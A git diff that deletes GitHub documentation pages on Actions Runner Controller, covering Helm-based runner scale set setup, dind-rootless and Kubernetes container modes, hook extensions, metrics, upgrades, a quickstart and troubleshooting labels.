-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-> [!NOTE]
-> When Kubernetes mode is enabled, workflows that are not configured with a container job will fail with an error similar to:
->
-> ```bash
-> Jobs without a job container are forbidden on this runner, please add a 'container:' to your job or contact your self-hosted runner administrator.
-> ```
->
-> To allow jobs without a job container to run, set `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` to `false` on your runner container. This instructs the runner to disable this check.
->
-> ```yaml
-> template:
-> spec:
-> containers:
-> - name: runner
-> image: ghcr.io/actions/actions-runner:latest
-> command: ["/home/runner/run.sh"]
-> env:
-> - name: ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER
-> value: "false"
-> ```
-
-### Customizing container modes
-
-When you set the `containerMode` in the `values.yaml` file for the [`gha-runner-scale-set` helm chart](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L77), you can use either of the following values:
- * `dind` or
- * `kubernetes`
-
-Depending on which value you set for the `containerMode`, a configuration will automatically be injected into the `template` section of the `values.yaml` file for the `gha-runner-scale-set` helm chart.
-* See the [`dind` configuration](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L110).
-* See the [`kubernetes` configuration](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L160).
-
-To customize the spec, comment out or remove `containerMode`, and append the configuration you want in the `template` section.
-
-#### Example: running `dind-rootless`
-
-Before deciding to run `dind-rootless`, make sure you are aware of [known limitations](https://docs.docker.com/engine/security/rootless/#known-limitations).
-{% ifversion not ghes %}
-
-```yaml
-## githubConfigUrl is the GitHub url for where you want to configure runners
-## ex: https://github.com/myorg/myrepo or https://github.com/myorg
-githubConfigUrl: "https://github.com/actions/actions-runner-controller"
-
-## githubConfigSecret is the k8s secrets to use when auth with GitHub API.
-## You can choose to use GitHub App or a PAT token
-githubConfigSecret: my-super-safe-secret
-
-## maxRunners is the max number of runners the autoscaling runner set will scale up to.
-maxRunners: 5
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-minRunners: 0
-
-runnerGroup: "my-custom-runner-group"
-
-## name of the runner scale set to create. Defaults to the helm release name
-runnerScaleSetName: "my-awesome-scale-set"
-
-## template is the PodSpec for each runner Pod
-## For reference: https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodSpec
-template:
- spec:
- initContainers:
- - name: init-dind-externals
- image: ghcr.io/actions/actions-runner:latest
- command: ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"]
- volumeMounts:
- - name: dind-externals
- mountPath: /home/runner/tmpDir
- - name: init-dind-rootless
- image: docker:dind-rootless
- command:
- - sh
- - -c
- - |
- set -x
- cp -a /etc/. /dind-etc/
- echo 'runner:x:1001:1001:runner:/home/runner:/bin/ash' >> /dind-etc/passwd
- echo 'runner:x:1001:' >> /dind-etc/group
- echo 'runner:100000:65536' >> /dind-etc/subgid
- echo 'runner:100000:65536' >> /dind-etc/subuid
- chmod 755 /dind-etc;
- chmod u=rwx,g=rx+s,o=rx /dind-home
- chown 1001:1001 /dind-home
- securityContext:
- runAsUser: 0
- volumeMounts:
- - mountPath: /dind-etc
- name: dind-etc
- - mountPath: /dind-home
- name: dind-home
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- env:
- - name: DOCKER_HOST
- value: unix:///run/user/1001/docker.sock
- securityContext:
- privileged: true
- runAsUser: 1001
- runAsGroup: 1001
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /run/user/1001
- - name: dind
- image: docker:dind-rootless
- args:
- - dockerd
- - --host=unix:///run/user/1001/docker.sock
- securityContext:
- privileged: true
- runAsUser: 1001
- runAsGroup: 1001
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /run/user/1001
- - name: dind-externals
- mountPath: /home/runner/externals
- - name: dind-etc
- mountPath: /etc
- - name: dind-home
- mountPath: /home/runner
- volumes:
- - name: work
- emptyDir: {}
- - name: dind-externals
- emptyDir: {}
- - name: dind-sock
- emptyDir: {}
- - name: dind-etc
- emptyDir: {}
- - name: dind-home
- emptyDir: {}
-```
-
-{% endif %}
-{% ifversion ghes %}
-
-```yaml
-## githubConfigUrl is the GitHub url for where you want to configure runners
-## ex: https:///enterprises/my_enterprise or https:///myorg
-githubConfigUrl: "https:///actions/actions-runner-controller"
-
-## githubConfigSecret is the k8s secrets to use when auth with GitHub API.
-## You can choose to use GitHub App or a PAT token
-githubConfigSecret: my-super-safe-secret
-
-## maxRunners is the max number of runners the autoscaling runner set will scale up to.
-maxRunners: 5
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-minRunners: 0
-
-runnerGroup: "my-custom-runner-group"
-
-## name of the runner scale set to create. Defaults to the helm release name
-runnerScaleSetName: "my-awesome-scale-set"
-
-## template is the PodSpec for each runner Pod
-## For reference: https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodSpec
-template:
- spec:
- initContainers:
- - name: init-dind-externals
- image: ghcr.io/actions/actions-runner:latest
- command: ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"]
- volumeMounts:
- - name: dind-externals
- mountPath: /home/runner/tmpDir
- - name: init-dind-rootless
- image: docker:dind-rootless
- command:
- - sh
- - -c
- - |
- set -x
- cp -a /etc/. /dind-etc/
- echo 'runner:x:1001:1001:runner:/home/runner:/bin/ash' >> /dind-etc/passwd
- echo 'runner:x:1001:' >> /dind-etc/group
- echo 'runner:100000:65536' >> /dind-etc/subgid
- echo 'runner:100000:65536' >> /dind-etc/subuid
- chmod 755 /dind-etc;
- chmod u=rwx,g=rx+s,o=rx /dind-home
- chown 1001:1001 /dind-home
- securityContext:
- runAsUser: 0
- volumeMounts:
- - mountPath: /dind-etc
- name: dind-etc
- - mountPath: /dind-home
- name: dind-home
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- env:
- - name: DOCKER_HOST
- value: unix:///run/user/1001/docker.sock
- securityContext:
- privileged: true
- runAsUser: 1001
- runAsGroup: 1001
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /run/user/1001
- - name: dind
- image: docker:dind-rootless
- args:
- - dockerd
- - --host=unix:///run/user/1001/docker.sock
- securityContext:
- privileged: true
- runAsUser: 1001
- runAsGroup: 1001
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /run/user/1001
- - name: dind-externals
- mountPath: /home/runner/externals
- - name: dind-etc
- mountPath: /etc
- - name: dind-home
- mountPath: /home/runner
- volumes:
- - name: work
- emptyDir: {}
- - name: dind-externals
- emptyDir: {}
- - name: dind-sock
- emptyDir: {}
- - name: dind-etc
- emptyDir: {}
- - name: dind-home
- emptyDir: {}
-```
-
-{% endif %}
-
-#### Understanding runner-container-hooks
-
-When the runner detects a workflow run that uses a container job, service container, or Docker action, it will call runner-container-hooks to create a new pod. The runner relies on runner-container-hooks to call the Kubernetes APIs and create a new pod in the same namespace as the runner pod. This newly created pod will be used to run the container job, service container, or Docker action. For more information, see the [`runner-container-hooks`](https://github.com/actions/runner-container-hooks) repository.
-
-#### Configuring hook extensions
-
-As of ARC version 0.4.0, runner-container-hooks support hook extensions. You can use these to configure the pod created by runner-container-hooks. For example, you could use a hook extension to set a security context on the pod. Hook extensions allow you to specify a YAML file that is used to update the [PodSpec](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.26/#podspec-v1-core) of the pod created by runner-container-hooks.
-
-There are two options to configure hook extensions.
-
-* Store in your **custom runner image**. You can store the PodSpec in a YAML file anywhere in your custom runner image. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller#creating-your-own-runner-image).
-* Store in a **ConfigMap**. You can create a config map with the PodSpec and mount that config map in the runner container. For more information, see [ConfigMaps](https://kubernetes.io/docs/concepts/configuration/configmap/) in the Kubernetes documentation.
-
-> [!NOTE]
-> With both options, you must set the `ACTIONS_RUNNER_CONTAINER_HOOK_TEMPLATE` environment variable in the runner container spec to point to the path of the YAML file mounted in the runner container.
-
-##### Example: Using config map to set securityContext
-
-Create a config map in the same namespace as the runner pods. For example:
-
-```yaml
-apiVersion: v1
-kind: ConfigMap
-metadata:
- name: hook-extension
- namespace: arc-runners
-data:
- content: |
- metadata:
- annotations:
- example: "extension"
- spec:
- containers:
- - name: "$job" # Target the job container
- securityContext:
- runAsUser: 1000
-```
-
-* The `.metadata.labels` and `metadata.annotations` fields will be appended as is, unless their keys are reserved. You cannot override the `.metadata.name` and `metadata.namespace` fields.
-* The majority of the PodSpec fields are applied from the specified template, and will override the values passed from your Helm chart `values.yaml` file.
-* If you specify additional volumes they will be appended to the default volumes specified by the runner.
-* The `spec.containers` are merged based on the names assigned to them.
- * If the name of the container is `$job`:
- * The `spec.containers.name` and `spec.containers.image` fields are ignored.
- * The `spec.containers.env`, `spec.containers.volumeMounts`, and `spec.containers.ports` fields are appended to the default container spec created by the hook.
- * The rest of the fields are applied as provided.
- * If the name of the container is not `$job`, the fields will be added to the pod definition as they are.
-
-## Enabling metrics
-
-> [!NOTE]
-> Metrics for ARC are available as of version gha-runner-scale-set-0.5.0.
-
-ARC can emit metrics about your runners, your jobs, and time spent on executing your workflows. Metrics can be used to identify congestion, monitor the health of your ARC deployment, visualize usage trends, optimize resource consumption, among many other use cases. Metrics are emitted by the controller-manager and listener pods in Prometheus format. For more information, see [Exposition formats](https://prometheus.io/docs/instrumenting/exposition_formats/) in the Prometheus documentation.
-
-To enable metrics for ARC, configure the `metrics` property in the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file of the `gha-runner-scale-set-controller` chart.
-
-The following is an example configuration.
-
-```yaml
-metrics:
- controllerManagerAddr: ":8080"
- listenerAddr: ":8080"
- listenerEndpoint: "/metrics"
-```
-
-> [!NOTE]
-> If the `metrics:` object is not provided or is commented out, the following flags will be applied to the controller-manager and listener pods with empty values: `--metrics-addr`, `--listener-metrics-addr`, `--listener-metrics-endpoint`. This will disable metrics for ARC.
-
-Once these properties are configured, your controller-manager and listener pods emit metrics via the listenerEndpoint bound to the ports that you specify in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file. In the above example, the endpoint is `/metrics` and the port is `:8080`. You can use this endpoint to scrape metrics from your controller-manager and listener pods.
-
-To turn off metrics, update your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file by removing or commenting out the `metrics:` object and its properties.
-
-### Available metrics for ARC
-
-The following table shows the metrics emitted by the controller-manager and listener pods.
-
-> [!NOTE]
-> The metrics that the controller-manager emits pertain to the controller runtime and are not owned by {% data variables.product.company_short %}.
-
-| Owner | Metric | Type | Description |
-| ------------------ | --------------------------------------------- | --------- | ----------------------------------------------------------------------------------------------------------- |
-| controller-manager | gha_controller_pending_ephemeral_runners | gauge | Number of ephemeral runners in a pending state |
-| controller-manager | gha_controller_running_ephemeral_runners | gauge | Number of ephemeral runners in a running state |
-| controller-manager | gha_controller_failed_ephemeral_runners | gauge | Number of ephemeral runners in a failed state |
-| controller-manager | gha_controller_running_listeners | gauge | Number of listeners in a running state |
-| listener | gha_assigned_jobs | gauge | Number of jobs assigned to the runner scale set |
-| listener | gha_running_jobs | gauge | Number of jobs running or queued to run |
-| listener | gha_registered_runners | gauge | Number of runners registered by the runner scale set |
-| listener | gha_busy_runners | gauge | Number of registered runners currently running a job |
-| listener | gha_min_runners | gauge | Minimum number of runners configured for the runner scale set |
-| listener | gha_max_runners | gauge | Maximum number of runners configured for the runner scale set |
-| listener | gha_desired_runners | gauge | Number of runners desired (scale up / down target) by the runner scale set |
-| listener | gha_idle_runners | gauge | Number of registered runners not running a job |
-| listener | gha_started_jobs_total | counter | Total number of jobs started since the listener became ready [1] |
-| listener | gha_completed_jobs_total | counter | Total number of jobs completed since the listener became ready [1] |
-| listener | gha_job_startup_duration_seconds | histogram | Number of seconds spent waiting for workflow job to get started on the runner owned by the runner scale set |
-| listener | gha_job_execution_duration_seconds | histogram | Number of seconds spent executing workflow jobs by the runner scale set |
-
-[1]: Listener metrics that have the counter type are reset when the listener pod restarts.
-
-{% ifversion ghes %}
-
-## Using ARC with {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_code_scanning %}
-
-You can use {% data variables.product.prodname_actions_runner_controller %} to create dedicated runners for your {% data variables.product.prodname_ghe_server %} instance that {% data variables.product.prodname_dependabot %} can use to help secure and maintain the dependencies used in repositories on your enterprise. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates#system-requirements-for-dependabot-runners).
-
-You can also use ARC with {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). If you're already using {% data variables.product.prodname_code_scanning %} and want to configure a runner scale set to use default setup, set `INSTALLATION_NAME=code-scanning`. For more information about {% data variables.product.prodname_code_scanning %} default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning).
-
-{% data variables.product.prodname_actions_runner_controller %} does not use multiple labels to route jobs to specific runner scale sets. Instead, to designate a runner scale set for {% data variables.product.prodname_dependabot %} updates or {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}, use a descriptive installation name in your Helm chart, such as `dependabot` or `code-scanning`. You can then set the `runs-on` value in your workflows to the installation name as the single label, and use the designated runner scale set for {% data variables.product.prodname_dependabot %} updates or {% data variables.product.prodname_code_scanning %} jobs.
-
-If you're using default setup for {% data variables.product.prodname_code_scanning %}, the analysis will automatically look for a runner scale set with the installation name `code-scanning` {% ifversion code-scanning-default-setup-customize-labels %} but you can specify a custom name in the configuration, so that individual repositories can use different runner scale sets. See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#assigning-labels-to-runners){% endif %}.
-
-> [!NOTE]
-> The [Dependabot Action](https://github.com/github/dependabot-action) is used to run {% data variables.product.prodname_dependabot %} updates via {% data variables.product.prodname_actions %}. This action requires Docker as a dependency. For this reason, you can only use {% data variables.product.prodname_actions_runner_controller %} with {% data variables.product.prodname_dependabot %} when Docker-in-Docker (DinD) mode is enabled. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates#system-requirements-for-dependabot-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#using-docker-in-docker-or-kubernetes-mode-for-containers).
-
-{% endif %}
-
-## Upgrading ARC
-
-Because there is no support for upgrading or deleting CRDs with Helm, it is not possible to use Helm to upgrade ARC. For more information, see [Custom Resource Definitions](https://helm.sh/docs/chart_best_practices/custom_resource_definitions/#some-caveats-and-explanations) in the Helm documentation. To upgrade ARC to a newer version, you must complete the following steps.
-
-1. Uninstall all installations of `gha-runner-scale-set`.
-1. Wait for resources cleanup.
-1. Uninstall ARC.
-1. If there is a change in CRDs from the version you currently have installed, to the upgraded version, remove all CRDs associated with `actions.github.com` API group.
-1. Reinstall ARC again.
-
-For more information, see [Deploying a runner scale set](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#deploying-a-runner-scale-set).
-
-If you would like to upgrade ARC but are concerned about downtime, you can deploy ARC in a high availability configuration to ensure runners are always available. For more information, see [High availability and automatic failover](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#high-availability-and-automatic-failover).
-
-> [!NOTE]
-> Transitioning from the [community supported version of ARC](https://github.com/actions/actions-runner-controller/discussions/2775) to the GitHub supported version is a substantial architectural change. The GitHub supported version involves a redesign of many components of ARC. It is not a minor software upgrade. For these reasons, we recommend testing the new versions in a staging environment that matches your production environment first. This will ensure stability and reliability of the setup before deploying in production.
-
-### Deploying a canary image
-
-You can test features before they are released by using canary releases of the controller-manager container image. Canary images are published with tag format `canary-SHORT_SHA`. For more information, see [`gha-runner-scale-set-controller`](https://github.com/actions/actions-runner-controller/pkgs/container/gha-runner-scale-set-controller) on the {% data variables.product.prodname_container_registry %}.
-
-> [!NOTE]
-> * You must use Helm charts on your local file system.
-> * You cannot use the released Helm charts.
-
-1. Update the `tag` in the [gha-runner-scale-set-controller `values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file to: `canary-SHORT_SHA`
-1. Update the field `appVersion` in the [`Chart.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/Chart.yaml) file for `gha-runner-scale-set` to: `canary-SHORT_SHA`
-1. Re-install ARC using the updated Helm chart and `values.yaml` files.
-
-## High availability and automatic failover
-
-ARC can be deployed in a high availability (active-active) configuration. If you have two distinct Kubernetes clusters deployed in separate regions, you can deploy ARC in both clusters and configure runner scale sets to use the same `runnerScaleSetName`. In order to do this, each runner scale set must be assigned to a distinct runner group. For example, you can have two runner scale sets each named `arc-runner-set`, as long as one runner scale set belongs to `runner-group-A` and the other runner scale set belongs to `runner-group-B`. For information on assigning runner scale sets to runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-If both runner scale sets are online, jobs assigned to them will be distributed arbitrarily (assignment race). You cannot configure the job assignment algorithm. If one of the clusters goes down, the runner scale set in the other cluster will continue to acquire jobs normally without any intervention or configuration change.
-
-## Using ARC across organizations
-
-A single installation of {% data variables.product.prodname_actions_runner_controller %} allows you to configure one or more runner scale sets. These runner scale sets can be registered to a repository, organization, or enterprise. You can also use runner groups to control the permissions boundaries of these runner scale sets.
-
-As a best practice, create a unique namespace for each organization. You could also create a namespace for each runner group or each runner scale set. You can install as many runner scale sets as needed in each namespace. This will provide you the highest levels of isolation and improve your security. You can use {% data variables.product.prodname_github_apps %} for authentication and define granular permissions for each runner scale set.
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md
deleted file mode 100644
index d4d6dded78b9..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/index.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Managing self-hosted runners with Actions Runner Controller
-shortTitle: Actions Runner Controller
-intro: You can host your own runners to run workflows in a highly customizable environment.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Actions Runner Controller
-children:
- - /about-actions-runner-controller
- - /quickstart-for-actions-runner-controller
- - /authenticating-to-the-github-api
- - /deploying-runner-scale-sets-with-actions-runner-controller
- - /using-actions-runner-controller-runners-in-a-workflow
- - /troubleshooting-actions-runner-controller-errors
- - /about-support-for-actions-runner-controller
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md
deleted file mode 100644
index 071888dd62a1..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller.md
+++ /dev/null
@@ -1,164 +0,0 @@
----
-title: Quickstart for Actions Runner Controller
-shortTitle: Quickstart
-intro: 'Try out {% data variables.product.prodname_actions_runner_controller %} in 5 minutes.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: quick_start
-topics:
- - Actions Runner Controller
-defaultPlatform: linux
----
-
-[Legal notice](#legal-notice)
-
-## Introduction
-
-{% data reusables.actions.actions-runner-controller-about-arc %}
-
-You can set up ARC on Kubernetes using Helm, then create and run a workflow that uses runner scale sets. For more information about runner scale sets, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#runner-scale-set).
-
-## Prerequisites
-
-In order to use ARC, ensure you have the following.
-
-* A Kubernetes cluster
- * For a managed cloud environment, you can use AKS. For more information, see [Azure Kubernetes Service](https://azure.microsoft.com/en-us/products/kubernetes-service) in the Azure documentation.
- * For a local setup, you can use minikube or kind. For more information, see [minikube start](https://minikube.sigs.k8s.io/docs/start/) in the minikube documentation and [kind](https://kind.sigs.k8s.io/) in the kind documentation.
-
- > [!NOTE]
- > OpenShift clusters are currently unsupported.
-
-* Helm 3
- * For more information, see [Installing Helm](https://helm.sh/docs/intro/install/) in the Helm documentation.
-* While it is not required for ARC to be deployed, we recommend ensuring you have implemented a way to collect and retain logs from the controller, listeners, and ephemeral runners before deploying ARC in production workflows.
-
-## Installing Actions Runner Controller
-
-1. To install the operator and the custom resource definitions (CRDs) in your cluster, do the following.
- 1. In your Helm chart, update the `NAMESPACE` value to the location you want your operator pods to be created. This namespace must allow access to the Kubernetes API server.
- 1. Install the Helm chart.
-
- The following example installs the latest version of the chart. To install a specific version, you can pass the `--version` argument along with the version of the chart you wish to install. You can find the list of releases in the [GitHub Container Registry](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set-controller).
-
- ```bash copy
- NAMESPACE="arc-systems"
- helm install arc \
- --namespace "{% raw %}${NAMESPACE}{% endraw %}" \
- --create-namespace \
- oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set-controller
- ```
-
- For additional Helm configuration options, see [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) in the ARC documentation.
-
-1. To enable ARC to authenticate to {% data variables.product.company_short %}, generate a {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api#deploying-using-personal-access-token-classic-authentication).
-
-## Configuring a runner scale set
-
-1. To configure your runner scale set, run the following command in your terminal, using values from your ARC configuration.
-
- When you run the command, keep the following in mind.
-
- * Update the `INSTALLATION_NAME` value carefully. You will use the installation name as the value of `runs-on` in your workflows. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on).
- * Update the `NAMESPACE` value to the location you want the runner pods to be created.
- * Set `GITHUB_CONFIG_URL` to the URL of your repository, organization, or enterprise. This is the entity that the runners will belong to.
- * This example command installs the latest version of the Helm chart. To install a specific version, you can pass the `--version` argument with the version of the chart you wish to install. You can find the list of releases in the [GitHub Container Registry](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set).
-
- > [!NOTE]
- > * {% data reusables.actions.actions-runner-controller-security-practices-namespace %}
- > * {% data reusables.actions.actions-runner-controller-security-practices-secret %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller).
-
- ```bash copy
- INSTALLATION_NAME="arc-runner-set"
- NAMESPACE="arc-runners"
- GITHUB_CONFIG_URL="https://github.com/"
- GITHUB_PAT=""
- helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \
- --namespace "{% raw %}${NAMESPACE}{% endraw %}" \
- --create-namespace \
- --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \
- --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \
- oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set
- ```
-
- For additional Helm configuration options, see [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) in the ARC documentation.
-
-1. From your terminal, run the following command to check your installation.
-
- ```bash copy
- helm list -A
- ```
-
- You should see an output similar to the following.
-
- ```bash
- NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION
- arc arc-systems 1 2023-04-12 11:45:59.152090536 +0000 UTC deployed gha-runner-scale-set-controller-0.4.0 0.4.0
- arc-runner-set arc-runners 1 2023-04-12 11:46:13.451041354 +0000 UTC deployed gha-runner-scale-set-0.4.0 0.4.0
- ```
-
-1. To check the manager pod, run the following command in your terminal.
-
- ```bash copy
- kubectl get pods -n arc-systems
- ```
-
- If everything was installed successfully, the status of the pods shows as **Running**.
-
- ```bash
- NAME READY STATUS RESTARTS AGE
- arc-gha-runner-scale-set-controller-594cdc976f-m7cjs 1/1 Running 0 64s
- arc-runner-set-754b578d-listener 1/1 Running 0 12s
- ```
-
-If your installation was not successful, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors) for troubleshooting information.
-
-## Using runner scale sets
-
-Now you will create and run a simple test workflow that uses the runner scale set runners.
-
-1. In a repository, create a workflow similar to the following example. The `runs-on` value should match the Helm installation name you used when you installed the autoscaling runner set.
-
- For more information on adding workflows to a repository, see [AUTOTITLE](/actions/quickstart#creating-your-first-workflow).
-
- ```yaml copy
- name: Actions Runner Controller Demo
- on:
- workflow_dispatch:
-
- jobs:
- Explore-GitHub-Actions:
- # You need to use the INSTALLATION_NAME from the previous step
- runs-on: arc-runner-set
- steps:
- - run: echo "🎉 This job uses runner scale set runners!"
- ```
-
-1. Once you've added the workflow to your repository, manually trigger the workflow. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/manually-running-a-workflow).
-
-1. To view the runner pods being created while the workflow is running, run the following command from your terminal.
-
- ```bash copy
- kubectl get pods -n arc-runners
- ```
-
- A successful output will look similar to the following.
-
- ```bash
- NAMESPACE NAME READY STATUS RESTARTS AGE
- arc-runners arc-runner-set-rmrgw-runner-p9p5n 1/1 Running 0 21s
- ```
-
-## Next steps
-
-{% data variables.product.prodname_actions_runner_controller %} can help you efficiently manage your {% data variables.product.prodname_actions %} runners. Ready to get started? Here are some helpful resources for taking your next steps with ARC:
-
-* For detailed authentication information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api).
-* For help using ARC runners in your workflows, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow).
-* For deployment information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller).
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md
deleted file mode 100644
index 602819feecf8..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors.md
+++ /dev/null
@@ -1,155 +0,0 @@
----
-title: Troubleshooting Actions Runner Controller errors
-shortTitle: Troubleshoot
-intro: 'Learn how to troubleshoot {% data variables.product.prodname_actions_runner_controller %} errors.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: how_to
-topics:
- - Actions Runner Controller
----
-
-[Legal notice](#legal-notice)
-
-## Logging
-
-The {% data variables.product.prodname_actions_runner_controller %} (ARC) resources, which include the controller, listener, and runners, write logs to standard output (`stdout`). We recommend you implement a logging solution to collect and store these logs. Having logs available can help you or GitHub support with troubleshooting and debugging. For more information, see [Logging Architecture](https://kubernetes.io/docs/concepts/cluster-administration/logging/) in the Kubernetes documentation.
-
-## Resources labels
-
-Labels are added to the resources created by {% data variables.product.prodname_actions_runner_controller %}, which include the controller, listener, and runner pods. You can use these labels to filter resources and to help with troubleshooting.
-
-### Controller pod
-
-The following labels are applied to the controller pod.
-
-```yaml
-app.kubernetes.io/component=controller-manager
-app.kubernetes.io/instance=
-app.kubernetes.io/name=gha-runner-scale-set-controller
-app.kubernetes.io/part-of=gha-runner-scale-set-controller
-app.kubernetes.io/version=
-```
-
-### Listener pod
-
-The following labels are applied to listener pods.
-
-```yaml
-actions.github.com/enterprise= # Will be populated if githubConfigUrl is an enterprise URL
-actions.github.com/organization= # Will be populated if githubConfigUrl is an organization URL
-actions.github.com/repository= # Will be populated if githubConfigUrl is a repository URL
-actions.github.com/scale-set-name= # Runners scale set name
-actions.github.com/scale-set-namespace= # Runners namespace
-app.kubernetes.io/component=runner-scale-set-listener
-app.kubernetes.io/part-of=gha-runner-scale-set
-app.kubernetes.io/version= # Chart version
-```
-
-### Runner pod
-
-The following labels are applied to runner pods.
-
-```yaml
-actions-ephemeral-runner= # True | False
-actions.github.com/organization= # Will be populated if githubConfigUrl is an organization URL
-actions.github.com/scale-set-name= # Runners scale set name
-actions.github.com/scale-set-namespace= # Runners namespace
-app.kubernetes.io/component=runner
-app.kubernetes.io/part-of=gha-runner-scale-set
-app.kubernetes.io/version= # Chart version
-```
-
-## Checking the logs of the controller and runner set listener
-
